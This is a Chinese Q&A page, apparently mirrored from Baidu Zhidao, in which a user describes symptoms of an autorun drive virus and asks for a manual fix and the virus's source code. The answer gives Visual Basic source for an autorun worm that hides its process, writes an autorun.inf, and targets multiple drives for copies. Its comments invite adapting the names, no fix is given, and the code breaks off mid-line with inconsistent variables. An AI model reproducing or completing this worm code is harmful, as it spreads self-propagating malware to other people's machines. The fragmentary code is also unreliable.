求AUTO病毒的原理和解决方案

来源：百度知道 编辑：UC知道 时间：2024/06/22 08:36:35
计算机症状:无法双击打开驱动盘,右键一为AUTO,三为打开.CMD,DIR命令下,硬盘内有AUTO.EXE以及AUTORUN.INF.打开驱动盘,看不到以上两个文件.并且如果改正文件夹选项为显示所有文件及问件夹,下次打开仍为不显示.即无法更改.修改注册表的CHECKEDVALUE项(DWORD)为1后几秒,刷新又回到0.进程中没有AUTO.EXE.
请给出1.解决方案,注:手工解决.
2.病毒原理,(最好有源代码,没有也没有关系)包括以上两个文件是怎么工作的,怎么让计算机 表现出以上症状,怎么写入注册表的启动项,为什么重启后病毒还存在.
注:如果回答的好,在加100.谢谢
注意 石是手动方法！！！

Auto病毒源代码
Sub Main()
'=======================
'=============================
App.TaskVisible = False '隐藏进程
On Error Resume Next '跳过错误执行下面的程序
Open App.Path & "\AUToRUN.Inf" For Output As #1
Print #1, "[AuToRuN]"
Print #1, "OPEN=Tjwn.exe" '注意修改
Print #1, "shell\open=打开(&O)" '注意修改
Print #1, "shelL\open\ComMand=Tjwn.exe" '注意修改
Close #1
'==============================
Dim xi007, xj008, Tjwn, Tjwn_
'...........................................
xj007 = App.Path & "\Tjwn.exe" '注意修改
xj008 = "C:\Tjwn.exe" '注意修改
xj008 = "e:\Tjwn.exe" '注意修改
xj008 = "f:\Tjwn.exe" '注意修改
xj008 = "g:\Tjwn.exe" '注意修改
xj008 = "h:\Tjwn.exe" '注意修改
xj008 = "i:\Tjwn.exe" '注意修改
xj008 = "